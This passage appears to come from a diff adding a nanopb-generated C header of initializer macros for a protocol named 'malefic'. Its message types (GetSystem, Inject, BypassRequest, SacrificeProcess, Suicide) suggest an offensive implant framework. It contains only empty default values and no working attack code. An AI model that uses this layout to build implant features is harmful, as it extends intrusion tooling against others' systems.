malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default}} +#define malefic_ExecRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_default {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_default {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_default {0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}} +#define malefic_Addon_init_default {"", "", ""} +#define malefic_LoadModule_init_default {"", {0, {0}}} +#define malefic_LoadAddon_init_default {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_default {"", false, malefic_ExecuteBinary_init_default} +#define malefic_ExecuteBinary_init_default {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_default, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_default {"", false, malefic_SacrificeProcess_init_default} +#define malefic_UploadRequest_init_default {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_default {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_default {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_default {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_default {"", "", "", 0} +#define malefic_IfconfigResponse_init_default {0, {malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default}} +#define malefic_RegistryRequest_init_default {"", false, malefic_Registry_init_default} +#define malefic_Registry_init_default {"", "", ""} +#define malefic_RegistryWriteRequest_init_default {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_default {"", false, malefic_TaskSchedule_init_default} +#define malefic_TaskSchedule_init_default {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_default {0, {malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default}} +#define malefic_ServiceRequest_init_default {"", false, malefic_ServiceConfig_init_default} +#define malefic_ServiceConfig_init_default {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_default {0, 0, 0, 0, 0} +#define malefic_Service_init_default {false, malefic_ServiceConfig_init_default, false, malefic_ServiceStatus_init_default} +#define malefic_ServicesResponse_init_default {0, {malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default}} +#define malefic_WmiQueryRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_default {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_default {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_default {{0, {0}}, 0} +#define malefic_Inject_init_default {{0, {0}}, 0} +#define malefic_Pipe_init_default {"", "", {0, {0}}} +#define malefic_PipeRequest_init_default {"", false, malefic_Pipe_init_default} +#define malefic_Switch_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_default {0, ""} +#define malefic_TaskInfo_init_default {0, 0, 0, 0} +#define malefic_TaskListResponse_init_default {0, {malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default}} +#define malefic_FFmpegRequest_init_default {"", "", "", "", ""} +#define malefic_PtyRequest_init_default {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_default {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_default {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} +#define malefic_Ping_init_zero {0} +#define malefic_Register_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}, false, malefic_Timer_init_zero, false, malefic_SysInfo_init_zero, false, malefic_Secure_init_zero} +#define malefic_Secure_init_zero {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_zero {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_zero {""} +#define malefic_Init_init_zero {{0, {0}}} +#define malefic_SysInfo_init_zero {"", "", 0, false, malefic_Os_init_zero, false, malefic_Process_init_zero} +#define malefic_Suicide_init_zero {0, 0} +#define malefic_Request_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_zero {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_zero {0, 0, 0} +#define malefic_NetInterface_init_zero {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_zero {"", "", "", "", ""} +#define malefic_NetstatResponse_init_zero {0, {malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, 